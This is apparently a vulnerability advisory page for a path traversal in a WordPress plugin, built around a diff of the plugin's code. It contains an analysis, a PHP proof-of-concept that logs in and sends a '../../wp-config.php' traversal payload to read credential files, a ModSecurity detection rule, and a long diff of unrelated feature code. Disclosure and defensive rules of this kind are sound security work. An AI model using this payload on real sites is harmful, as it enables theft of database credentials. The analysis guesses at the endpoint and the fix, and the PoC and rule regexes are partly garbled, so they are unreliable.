{
“analysis”: “Atomic Edge analysis of CVE-2026-17604:nnThis vulnerability allows authenticated attackers with editor-level access or above to read arbitrary files on the WordPress server. The flaw exists in the Kirki plugin, version 6.1.1 and earlier, in the handling of the ‘data’ parameter within certain AJAX or REST endpoints. The attack bypasses a strpos()-based directory traversal guard, permitting retrieval of sensitive files like wp-config.php. The CVSS score is 4.9, indicating a moderate severity issue.nnRoot Cause:nThe root cause is an ineffective path traversal protection in the code that processes the ‘data’ parameter. The guard uses strpos() to check if the provided path starts with the uploads directory base path. However, strpos() returns the position of a substring, not a prefix check. An attacker can craft a URL that includes the uploads base path as a substring, then embed traversal sequences (../) to escape to other directories. For example, a path like /wp-content/uploads/../../wp-config.php passes the strpos() check because it contains the uploads base path as a substring. The vulnerable code likely resides in an Ajax controller or service method that accepts this ‘data’ parameter and directly passes it to a file read function without proper canonicalization.nnExploitation:nAn authenticated user with editor capabilities can exploit this by sending a crafted request to the vulnerable endpoint. The specific endpoint and action names are not fully visible in the diff, but the attack would involve a request that passes the uploads base path as a substring while including traversal sequences. A payload might be: /wp-content/uploads/../../wp-config.php. By manipulating the ‘data’ parameter in this way, the attacker can read the contents of arbitrary files on the server, potentially exposing database credentials, API keys, and other sensitive data.nnPatch Analysis:nThe patch likely replaces the strpos()-based check with a robust path canonicalization and validation method, such as realpath() or a function that ensures the final resolved path stays within the allowed directory. The updated code would normalize the path, resolving any traversal sequences before validating the prefix. This prevents the bypass by ensuring that only paths that actually begin with the uploads directory are accepted. The patched code also introduces additional security checks, such as verifying the resolved path with a realpath() comparison.nnImpact:nIf exploited, an attacker with editor-level access can read arbitrary files on the server. This includes configuration files like wp-config.php, which contain database credentials, authentication keys, and other sensitive information. The exposure of these files could lead to full site compromise, unauthorized database access, and potentially remote code execution if additional vulnerabilities are chained. The severity is moderate due to the requirement of authenticated access, but the impact is high.”,
“poc_php”: “ $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘https://example.com/wp-admin/’,n ‘testcookie’ => ‘1’n)));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_exec($ch);ncurl_close($ch);nn// The vulnerable action; needs to be confirmed but likely ‘kirki_import’ or similar.n// The ‘data’ parameter will contain the path traversal payload.n$data = array(n ‘data’ => ‘/wp-content/uploads/../../wp-config.php’,n ‘action’ => ‘kirki_import’ // Example action, adjust based on actual plugin coden);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nn// The response may contain the contents of wp-config.php if exploitation is successfulnif (strpos($response, ‘DB_PASSWORD’) !== false) {n echo “[+] Vulnerability exploited: File contents retrieved.\n”;n echo “[+] Data:\n” . $response . “\n”;n} else {n echo “[-] Exploitation failed or file not readable.\n”;n}n?>”,
“modsecurity_rule”: “SecRule REQUEST_URI “@rx ^/wp-json/kirki/v\d+/[a-z_]+$” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-17604 via Kirki REST API‘,severity:’CRITICAL’,tag:’CVE-2026-17604′”n SecRule ARGS:data “@rx (../|.\./|.\./\.\./|\.\.\/|\.\./|.\.\/\.\.\/)” “chain”n SecRule ARGS:data “@rx /wp-content/uploads” “chain”n SecRule ARGS:data “@rx \.\\.\.\/” “chain”n SecRule REQUEST_METHOD “@streq POST””
}

CVE-2026-17604: Kirki <= 6.1.1 Authenticated (Editor+) Path Traversal to Arbitrary File Read via 'data' Parameter PoC, Patch Analysis & Rule
CVE-2026-17604
kirki
6.1.1
6.2.0
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/kirki/app/Constants/Form/FormActionTypes.php
+++ b/kirki/app/Constants/Form/FormActionTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported form-submission action types.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `actions` configuration.
+ */
+class FormActionTypes
+{
+ use HasConstants;
+
+ const EMAIL = 'email';
+ const WEBHOOK = 'webhooks';
+}
--- a/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
+++ b/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported part types for a composed email action body.
+ *
+ * These values mirror the `type` key stored on each entry of an email
+ * action's `body` configuration.
+ */
+class FormEmailBodyPartTypes
+{
+ use HasConstants;
+
+ const TEXT = 'text';
+ const FORM = 'form';
+}
--- a/kirki/app/Constants/Form/FormFieldTypes.php
+++ b/kirki/app/Constants/Form/FormFieldTypes.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported input types for a submittable form field.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `fields` configuration.
+ */
+class FormFieldTypes
+{
+ use HasConstants;
+
+ const EMAIL = 'email';
+ const NUMBER = 'number';
+ const TEL = 'tel';
+ const DATE = 'date';
+ const DATETIME_LOCAL = 'datetime-local';
+ const FILE = 'file';
+}
--- a/kirki/app/Constants/Form/FormWebhookMethods.php
+++ b/kirki/app/Constants/Form/FormWebhookMethods.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported HTTP methods for a webhook action.
+ *
+ * These values mirror the `method` key stored on a form's `webhooks` action
+ * configuration.
+ */
+class FormWebhookMethods
+{
+ use HasConstants;
+
+ const GET = 'get';
+ const POST = 'post';
+}
--- a/kirki/app/Constants/OptionKeys.php
+++ b/kirki/app/Constants/OptionKeys.php
@@ -14,4 +14,5 @@
const GLOBAL_DATA_POST_TYPE_ID = 'KIRKI_GLOBAL_DATA_POST_TYPE_ID';
const DROIP_GLOBAL_DATA_POST_TYPE_ID = 'DROIP_GLOBAL_DATA_POST_TYPE_ID'; // @todo: will be removed if not needed
const PAGE_ON_FRONT = 'page_on_front';
+ const WP_ADMIN_COMMON_DATA = 'kirki_wp_admin_common_data';
}
--- a/kirki/app/Constants/PageMetaKeys.php
+++ b/kirki/app/Constants/PageMetaKeys.php
@@ -59,6 +59,10 @@
const UTILITY_PAGE_TYPE = 'kirki_utility_page_type';
+ const CONTENT_MANAGER_COLLECTION_ID = 'kirki_content_manager_collection_id';
+
+ const CONTENT_MANAGER_PAGE_KIND = 'kirki_content_manager_page_kind';
+
const PAGE_TEMPLATE = '_wp_page_template';
/**
@@ -80,6 +84,8 @@
static::TEMPLATE_CONDITIONS,
static::TEMPLATE_COLLECTION_TYPE,
static::UTILITY_PAGE_TYPE,
+ static::CONTENT_MANAGER_COLLECTION_ID,
+ static::CONTENT_MANAGER_PAGE_KIND,
static::BLOCKS,
static::STYLE_BLOCKS,
static::USED_FONT_LIST,
--- a/kirki/app/Constants/UserMetaKeys.php
+++ b/kirki/app/Constants/UserMetaKeys.php
@@ -11,4 +11,9 @@
use HasConstants;
const CAPABILITIES = 'wp_capabilities';
+
+ /**
+ * @see KIRKI_USER_WALKTHROUGH_SHOWN_META_KEY
+ */
+ const WALKTHROUGH_SHOWN_STATE = 'user_walkthrough_shown_state';
}
--- a/kirki/app/Contracts/FormActionHandler.php
+++ b/kirki/app/Contracts/FormActionHandler.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace KirkiAppContracts;
+
+use Exception;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * A single form-submission action channel (email, webhook, mail client, ...).
+ *
+ * Each handler runs one configured action of its type. The dispatcher routes
+ * actions by type, so handlers stay fully independent — a new or changed
+ * handler can never break another.
+ */
+interface FormActionHandler
+{
+ /**
+ * Run a single configured action for the given submission.
+ *
+ * @param array $action A single configured action of this handler's type.
+ * @param array $form_data The submission data.
+ * @param FormConfigDTO $form_config The form configuration.
+ * @return bool Whether it succeeded. Fire-and-forget channels return true.
+ * @throws Exception on error
+ */
+ public function handle(array $action, array $form_data, FormConfigDTO $form_config);
+}
--- a/kirki/app/DTO/Collection/UpsertCollectionDTO.php
+++ b/kirki/app/DTO/Collection/UpsertCollectionDTO.php
@@ -15,6 +15,9 @@
/** @var string */
public $post_name;
+ /** @var string|null */
+ public $preset_type;
+
/** @var array */
public $fields;
--- a/kirki/app/DTO/Form/FormConfigDTO.php
+++ b/kirki/app/DTO/Form/FormConfigDTO.php
@@ -0,0 +1,54 @@
+<?php
+
+namespace KirkiAppDTOForm;
+
+use KirkiFrameworkSanitizer;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkDTO;
+
+class FormConfigDTO extends DTO
+{
+ /** @var string The form element's builder id. */
+ public $id;
+
+ /** @var string Whether the form posts to this site ('default') or an external URL ('external'). Not used server-side. */
+ public $type;
+
+ /** @var string */
+ public $name;
+
+ /** @var array */
+ public $fields = [];
+
+ /** @var array */
+ public $actions = [];
+
+ /** @var array Client-side "what to show after submit" config. Not used server-side. */
+ public $onSubmit = [];
+
+ /** @var array */
+ public $maxEntry = [];
+
+ /** @var array */
+ public $responseLimit = [];
+
+ /** @var bool */
+ public $saveData = false;
+
+ public function __construct(array $data = [])
+ {
+ parent::__construct($data);
+
+ $this->id = (string) $this->id;
+ $this->type = (string) $this->type;
+ $this->name = (string) $this->name;
+ $this->fields = is_array($this->fields) ? $this->fields : [];
+ $this->actions = is_array($this->actions) ? $this->actions : [];
+ $this->onSubmit = is_array($this->onSubmit) ? $this->onSubmit : [];
+ $this->maxEntry = is_array($this->maxEntry) ? $this->maxEntry : [];
+ $this->responseLimit = is_array($this->responseLimit) ? $this->responseLimit : [];
+ $this->saveData = Sanitizer::apply_rule($this->saveData, Sanitizer::BOOL);
+ }
+}
--- a/kirki/app/DTO/Page/PageFilterDTO.php
+++ b/kirki/app/DTO/Page/PageFilterDTO.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppDTOPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsPostStatus;
+use KirkiAppConstantsPostTypes;
+use KirkiFrameworkDTO;
+
+class PageFilterDTO extends DTO
+{
+ /** @var string search param */
+ public $query;
+
+ /** @var int page number */
+ public $current_page = 1;
+
+ /** @var int number of posts per page */
+ public $limit = 20;
+
+ /** @var string[] post types */
+ public $post_types = [PostTypes::WP_PAGE];
+
+ /** @var int[] exclude page ids */
+ public $exclude_page_ids = [];
+
+ /** @var string[] */
+ public $post_statuses = [
+ PostStatus::PUBLISH,
+ PostStatus::DRAFT
+ ];
+}
No newline at end of file
--- a/kirki/app/DTO/Page/PagePayloadDTO.php
+++ b/kirki/app/DTO/Page/PagePayloadDTO.php
@@ -28,4 +28,10 @@
/** @var array|null */
public $custom_template;
-}
No newline at end of file
+
+ /** @var int|null */
+ public $content_manager_collection_id;
+
+ /** @var string|null */
+ public $content_manager_page_kind;
+}
--- a/kirki/app/FormActions/Actions/EmailActionHandler.php
+++ b/kirki/app/FormActions/Actions/EmailActionHandler.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormEmailBodyPartTypes;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * Sends a form submission over email, for a single configured `email` action.
+ */
+class EmailActionHandler implements FormActionHandler
+{
+ public function handle(array $action, array $form_data, FormConfigDTO $form_config)
+ {
+ $this->register_shortcodes($action, $form_data); //@todo: maybe we can implement this without wp shortcodes but a different approach as current implementation might collide with other shortcodes registered
+
+ return $this->send_single_email_action($action, $form_data, $form_config->name);
+ }
+
+ /**
+ * Register shortcodes referenced by the email action's fields.
+ *
+ * @param array $action
+ * @param array $form_data
+ * @return void
+ */
+ protected function register_shortcodes($action, $form_data)
+ {
+ $this->register_shortcodes_from_field($action['emailList'] ?? '', $form_data);
+ $this->register_shortcodes_from_field($action['replyTo'] ?? '', $form_data);
+ $this->register_shortcodes_from_field($action['name'] ?? '', $form_data);
+ $this->register_shortcodes_from_field($action['subject'] ?? '', $form_data);
+
+ add_shortcode(
+ 'admin_email',
+ function () {
+ return get_option('admin_email');
+ }
+ );
+ }
+
+ /**
+ * Register shortcodes referenced in a single email action field.
+ *
+ * @param string $field_value The field value containing shortcodes.
+ * @param array $form_data The form data to use for shortcode values.
+ * @return void
+ */
+ protected function register_shortcodes_from_field($field_value, $form_data)
+ {
+ if (empty($field_value)) {
+ return;
+ }
+
+ $regex = '/[([^]]+)]/';
+ preg_match_all($regex, $field_value, $matches);
+
+ foreach (($matches[1] ?? []) as $match) {
+ if (isset($form_data[$match])) {
+ add_shortcode($match, fn() => $form_data[$match]);
+ }
+ }
+ }
+
+ /**
+ * Send a single email action.
+ *
+ * @param array $email_action Email action configuration.
+ * @param array $form_data Form data.
+ * @param string $form_name Form name.
+ * @return bool
+ */
+ protected function send_single_email_action($email_action, $form_data, $form_name)
+ {
+ $body = $this->convert_form_data_into_html_for_email($form_data);
+ $reply_to = '';
+ $name = '';
+ $subject = 'New ' . $form_name;
+ $header = [];
+
+ if (isset($email_action['body']) && is_array($email_action['body'])) {
+ $body = $this->build_email_body($email_action['body'], $form_data);
+ }
+
+ if (isset($email_action['replyTo'])) {
+ $reply_to = do_shortcode($email_action['replyTo']);
+ }
+
+ if (isset($email_action['name'])) {
+ $name = do_shortcode($email_action['name']);
+ }
+
+ if (isset($email_action['subject'])) {
+ $subject = do_shortcode($email_action['subject']);
+ }
+
+ if (strlen($reply_to) > 0 && strlen($name) > 0) {
+ $header = ['Reply-To: ' . $name . ' <' . $reply_to . '>'];
+ }
+
+ if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
+ return $this->send_email_notification(do_shortcode($email_action['emailList']), $subject, $body, $header);
+ }
+
+ return false;
+ }
+
+ /**
+ * Build the email body from a body configuration.
+ *
+ * @param array $body_config Body configuration.
+ * @param array $form_data Form data.
+ * @return string Email body HTML.
+ */
+ protected function build_email_body($body_config, $form_data)
+ {
+ $body_parts = [];
+
+ foreach ($body_config as $body_data) {
+ if (!isset($body_data['type'], $body_data['value'])) {
+ continue;
+ }
+
+ if ($body_data['type'] === FormEmailBodyPartTypes::TEXT) {
+ $body_parts[] = $body_data['value'];
+ } elseif ($body_data['type'] === FormEmailBodyPartTypes::FORM && isset($form_data[$body_data['value']])) {
+ $body_parts[] = $form_data[$body_data['value']];
+ }
+ }
+ return nl2br(implode('', $body_parts));
+ }
+
+ /**
+ * Convert form data into an HTML list for email.
+ *
+ * @param array $form_data Form data.
+ * @return string
+ */
+ protected function convert_form_data_into_html_for_email($form_data = [])
+ {
+ $html = '<ul>';
+
+ if (is_array($form_data)) {
+ foreach ($form_data as $key => $value) {
+ $html .= '<li>' . esc_html($key) . ': ' . esc_html($value) . '</li>';
+ }
+ }
+
+ $html .= '</ul>';
+ return $html;
+ }
+
+ /**
+ * Send an email notification.
+ *
+ * @param string|string[] $to Address(es) to send to.
+ * @param string $subject Email subject.
+ * @param string $message Message contents.
+ * @param array $headers Email headers.
+ * @return bool
+ */
+ protected function send_email_notification($to, $subject, $message, $headers = [])
+ {
+ $headers[] = 'Content-Type: text/html; charset=UTF-8';
+ return wp_mail($to, $subject, $message, $headers);
+ }
+}
--- a/kirki/app/FormActions/Actions/WebhookActionHandler.php
+++ b/kirki/app/FormActions/Actions/WebhookActionHandler.php
@@ -0,0 +1,69 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormWebhookMethods;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+use KirkiFrameworkSupportsFacadesHttp;
+
+/**
+ * Delivers a submission to a single configured webhook endpoint.
+ *
+ * Unlike the other channels, a webhook transport failure marks the whole
+ * submission as failed, so this is the only handler whose return value can be
+ * false.
+ */
+class WebhookActionHandler implements FormActionHandler
+{
+ public function handle(array $webhook, array $form_data, FormConfigDTO $form_config)
+ {
+ if (!isset($webhook['action'], $webhook['method'])) {
+ return false;
+ }
+
+ if ($webhook['method'] === FormWebhookMethods::GET) {
+ return $this->send_get($webhook['action'], $form_data);
+ }
+
+ if ($webhook['method'] === FormWebhookMethods::POST) {
+ return $this->send_post($webhook['action'], $form_data);
+ }
+
+ return false;
+ }
+
+ /**
+ * Send a GET webhook request.
+ *
+ * @param string $url Webhook URL.
+ * @param array $form_data Form data.
+ * @return bool Success status.
+ */
+ protected function send_get($url, $form_data)
+ {
+ $query_string = http_build_query($form_data);
+ $url = rtrim($url, '/');
+ $url .= '/';
+
+ $response = Http::get($url . '?' . $query_string);
+
+ return $response->status() !== 0;
+ }
+
+ /**
+ * Send a POST webhook request.
+ *
+ * @param string $url Webhook URL.
+ * @param array $form_data Form data.
+ * @return bool Success status.
+ */
+ protected function send_post($url, $form_data)
+ {
+ $response = Http::as_form()->post($url, $form_data);
+
+ return $response->status() !== 0;
+ }
+}
--- a/kirki/app/FormActions/FormActionDispatcher.php
+++ b/kirki/app/FormActions/FormActionDispatcher.php
@@ -0,0 +1,58 @@
+<?php
+
+namespace KirkiAppFormActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+use function KirkiFrameworkapp;
+
+/**
+ * Routes each configured form action to the handler registered for its type.
+ *
+ * Only the types a submission actually configures are resolved, so a form that
+ * uses one action type never instantiates the others' handlers.
+ */
+class FormActionDispatcher
+{
+ /**
+ * @var array<string, class-string> Action type => handler class.
+ */
+ protected $handler_map;
+
+ /**
+ * @param array<string, class-string> $handler_map Action type => handler class.
+ */
+ public function __construct(array $handler_map)
+ {
+ $this->handler_map = $handler_map;
+ }
+
+ /**
+ * Dispatch every configured action to its handler.
+ *
+ * @param array $form_data The submission data.
+ * @param FormConfigDTO $form_config The form configuration.
+ * @return bool Whether every dispatched action succeeded.
+ * @throws Exception on error
+ */
+ public function dispatch(array $form_data, FormConfigDTO $form_config)
+ {
+ $success = true;
+ $handlers = [];
+
+ foreach ($form_config->actions as $action) {
+ $type = $action['type'] ?? null;
+
+ if (!$type || !isset($this->handler_map[$type])) {
+ continue;
+ }
+
+ $handler = $handlers[$type] ?? ($handlers[$type] = app($this->handler_map[$type]));
+ $success = $handler->handle($action, $form_data, $form_config) && $success;
+ }
+
+ return $success;
+ }
+}
--- a/kirki/app/Http/Controllers/Api/CollaborationController.php
+++ b/kirki/app/Http/Controllers/Api/CollaborationController.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOCollaborationCreateCollaborationDTO;
+use KirkiAppHttpRequestsCollaborationRequest;
+use KirkiAppServicesCollaborationService;
+
+use function KirkiFrameworkcollection;
+use function KirkiFrameworkresponse;
+
+class CollaborationController
+{
+
+ /**
+ * @var CollaborationService
+ */
+ protected $service;
+
+ public function __construct(CollaborationService $service)
+ {
+ $this->service = $service;
+ }
+
+ public function save_actions(CollaborationRequest $request)
+ {
+ $payload = collection($request->array('data', []))->map(function ($data) use ($request) {
+ return CreateCollaborationDTO::from_array([
+ 'session_id' => $request->string('session_id'),
+ 'parent' => $data['parent'] ?? '',
+ 'parent_id' => $data['parent_id'] ?? 0,
+ 'data' => $data['action'] ?? [],
+ ]);
+ });
+
+ return response()->json([
+ 'data' => $this->service->save_actions($payload),
+ ]);
+ }
+}
No newline at end of file
--- a/kirki/app/Http/Controllers/Api/CollectionController.php
+++ b/kirki/app/Http/Controllers/Api/CollectionController.php
@@ -100,13 +100,13 @@
{
$is_valid = ContentManager::validate_slug(
$request->int('post_id', 0),
- $request->string('post_type'),
- $request->string('post_name')
+ $request->string('post_type', ''),
+ $request->string('post_name', '')
);
return response()->json([
'data' => $is_valid,
- 'message' => __('Slug validated successfully.', 'kirki'),
+ 'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
]);
}
}
--- a/kirki/app/Http/Controllers/Api/EditorController.php
+++ b/kirki/app/Http/Controllers/Api/EditorController.php
@@ -24,7 +24,7 @@
public function back_to_kirki_editor(Request $request)
{
- $page = PageModel::find($request->int('postId'));
+ $page = PageModel::exclude_trash()->find($request->int('postId'));
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -41,7 +41,7 @@
public function back_to_wordpress_editor(Request $request)
{
- $page = PageModel::find($request->int('postId'));
+ $page = PageModel::exclude_trash()->find($request->int('postId'));
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/FormController.php
+++ b/kirki/app/Http/Controllers/Api/FormController.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiAppServicesFormSubmissionService;
+use function KirkiFrameworkresponse;
+
+/**
+ * Handles front-end form submissions.
+ *
+ * Route: POST /kirki/v1/frontend/form (public).
+ */
+class FormController
+{
+ /**
+ * @var FormSubmissionService
+ */
+ protected $service;
+
+ /**
+ * @param FormSubmissionService $service
+ */
+ public function __construct(FormSubmissionService $service)
+ {
+ $this->service = $service;
+ }
+
+ /**
+ * Store a form submission.
+ *
+ * @param Request $request The submission request.
+ * @return KirkiFrameworkHttpJsonResponse
+ */
+ public function store(Request $request)
+ {
+ $result = $this->service->handle($request->all(), $request->all_files());
+
+ return response()->json([
+ 'data' => $result,
+ 'message' => __('Form submitted successfully.', 'kirki'),
+ ]);
+ }
+}
--- a/kirki/app/Http/Controllers/Api/PageController.php
+++ b/kirki/app/Http/Controllers/Api/PageController.php
@@ -9,17 +9,23 @@
use KirkiAppDTOPageEditorPagePayloadDTO;
use KirkiAppDTOPageEditPageDTO;
use KirkiAppDTOPageEditPopupDTO;
+use KirkiAppDTOPagePageFilterDTO;
use KirkiAppDTOPagePagePayloadDTO;
use KirkiAppDTOPageTogglePageSymbolDTO;
+use KirkiAppHttpRequestsCollectionItemCollectionItemConditionRequest;
use KirkiAppHttpRequestsPagePageDataRequest;
use KirkiAppHttpRequestsPagePageRequest;
use KirkiAppHttpRequestsPagePageUpdateRequest;
use KirkiAppHttpRequestsPagePopupRequest;
+use KirkiAppHttpRequestsPageRenameStagingVersionRequest;
+use KirkiAppHttpRequestsPageStagingVersionRequest;
use KirkiAppHttpRequestsPageTogglePageSymbolRequest;
use KirkiAppModelsPage as PageModel;
+use KirkiAppModelsPost as PostModel;
use KirkiAppResourcesPageContentResource;
use KirkiAppResourcesPageResource;
use KirkiAppServicesPageService;
+use KirkiAppSupportsCollectionItem;
use KirkiAppSupportsFacadesPage;
use KirkiFrameworkHttpRequest;
use KirkiFrameworkHttpResponse;
@@ -50,7 +56,7 @@
public function save_page_data(PageDataRequest $request, int $page_id, string $page_content_type)
{
- $page = PageModel::find($page_id);
+ $page = PageModel::exclude_trash()->find($page_id);
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -68,7 +74,7 @@
], Response::OK);
}
- public function publish_staging_version(Request $request)
+ public function get_all_staged_versions(Request $request)
{
$page = PageModel::find($request->int('page_id'));
@@ -77,14 +83,72 @@
}
return response()->json([
+ 'data' => Page::get_all_staged_versions($page->ID, false),
+ ], Response::OK);
+ }
+
+ public function publish_staging_version(Request $request)
+ {
+ $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+ if (empty($page)) {
+ throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
'data' => Page::publish_stage_version($page->ID),
'message' => __('Staging version published successfully.', 'kirki'),
], Response::OK);
}
+ public function rename_staging_version(RenameStagingVersionRequest $request)
+ {
+ $page = PageModel::find($request->int('page_id'));
+
+ if (empty($page)) {
+ throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
+ 'data' => Page::rename_stage_version($page->ID, $request->int('version_id'), $request->string('name')),
+ 'message' => __('Staging version renamed successfully.', 'kirki'),
+ ], Response::OK);
+ }
+
+ public function restore_staging_version(StagingVersionRequest $request)
+ {
+ $page = PageModel::find($request->int('page_id'));
+
+ if (empty($page)) {
+ throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
+ 'data' => [
+ 'new_version' => Page::restore_stage_version($page->ID, $request->int('version_id')),
+ 'versions' => Page::get_all_staged_versions($page->ID, false),
+ ],
+ 'message' => __('Staging version renamed successfully.', 'kirki'),
+ ], Response::OK);
+ }
+
+ public function remove_staging_version(StagingVersionRequest $request)
+ {
+ $page = PageModel::find($request->int('page_id'));
+
+ if (empty($page)) {
+ throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
+ 'data' => Page::remove_stage_version($page->ID, $request->int('version_id')),
+ 'message' => __('Staging version removed successfully.', 'kirki'),
+ ], Response::OK);
+ }
+
public function update(PageUpdateRequest $request, int $page_id)
{
- $page = PageModel::find($page_id);
+ $page = PageModel::exclude_trash()->find($page_id);
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -102,7 +166,7 @@
public function update_popup(PopupRequest $request, int $popup_id)
{
- $popup = PageModel::find($popup_id);
+ $popup = PageModel::exclude_trash()->find($popup_id);
if (empty($popup) || $popup->post_type !== PostTypes::POPUP) {
throw new Exception(esc_html__('Popup not found.', 'kirki'), Response::NOT_FOUND);
@@ -120,7 +184,7 @@
public function toggle_disabled_page_symbols(TogglePageSymbolRequest $request)
{
- $page = PageModel::find($request->int('post_id'));
+ $page = PageModel::exclude_trash()->find($request->int('post_id'));
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -139,7 +203,7 @@
public function duplicate(Request $request)
{
- $page = PageModel::find($request->int('page_id'));
+ $page = PageModel::exclude_trash()->find($request->int('page_id'));
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -153,7 +217,7 @@
public function delete(Request $request)
{
- $page = PageModel::find($request->int('page_id'));
+ $page = PageModel::exclude_trash()->find($request->int('page_id'));
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -169,6 +233,71 @@
]);
}
+ public function paginated(Request $request)
+ {
+ $filter_dto = PageFilterDTO::from_array([
+ 'query' => $request->string('query'),
+ 'current_page' => $request->int('page', 1),
+ 'limit' => $request->int('numberposts', 20),
+ 'post_types' => $request->array('post_types', []),
+ 'exclude_page_ids' => $request->array('exclude_post_ids', []),
+ ]);
+
+ return response()->json([
+ 'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+ ]);
+ }
+
+ public function page_panel_pages(Request $request)
+ {
+ $filter_dto = PageFilterDTO::from_array([
+ 'query' => $request->string('query'),
+ 'current_page' => $request->int('page', 1),
+ 'limit' => $request->int('numberposts', 20),
+ 'post_types' => $request->array('post_types', [PostTypes::WP_PAGE]),
+ ]);
+
+ return response()->json([
+ 'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+ ]);
+ }
+
+ public function get_wp_single_post(Request $request)
+ {
+ $post = PostModel::exclude_trash()->find($request->int('post_id'));
+
+ if (empty($post)) {
+ throw new Exception(esc_html__('Post not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
+ 'data' => $post,
+ ]);
+ }
+
+ public function get_current_page(Request $request)
+ {
+ $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+ if (empty($page)) {
+ throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+ }
+
+ return response()->json([
+ 'data' => PageResource::make($page),
+ ]);
+ }
+
+ public function get_data_list_for_template_edit_search_flyout(CollectionItemConditionRequest $request)
+ {
+ $query = $request->string('query', '');
+ $conditions = $request->array('conditions', []);
+
+ return response()->json([
+ 'data' => CollectionItem::get_items_from_condition($conditions, $query)['data'] ?? [],
+ ]);
+ }
+
public function get_page_content(Request $request)
{
$page = PageModel::find($request->int('page_id'));
--- a/kirki/app/Http/Controllers/Api/PageSettingsController.php
+++ b/kirki/app/Http/Controllers/Api/PageSettingsController.php
@@ -27,7 +27,7 @@
public function update_page_settings(PageSettingsRequest $request, int $page_id)
{
- $page = PageModel::find($page_id);
+ $page = PageModel::exclude_trash()->find($page_id);
if (empty($page)) {
throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/PostController.php
+++ b/kirki/app/Http/Controllers/Api/PostController.php
@@ -0,0 +1,55 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppHttpRequestsPostPostSlugValidationRequest;
+use KirkiAppServicesPostService;
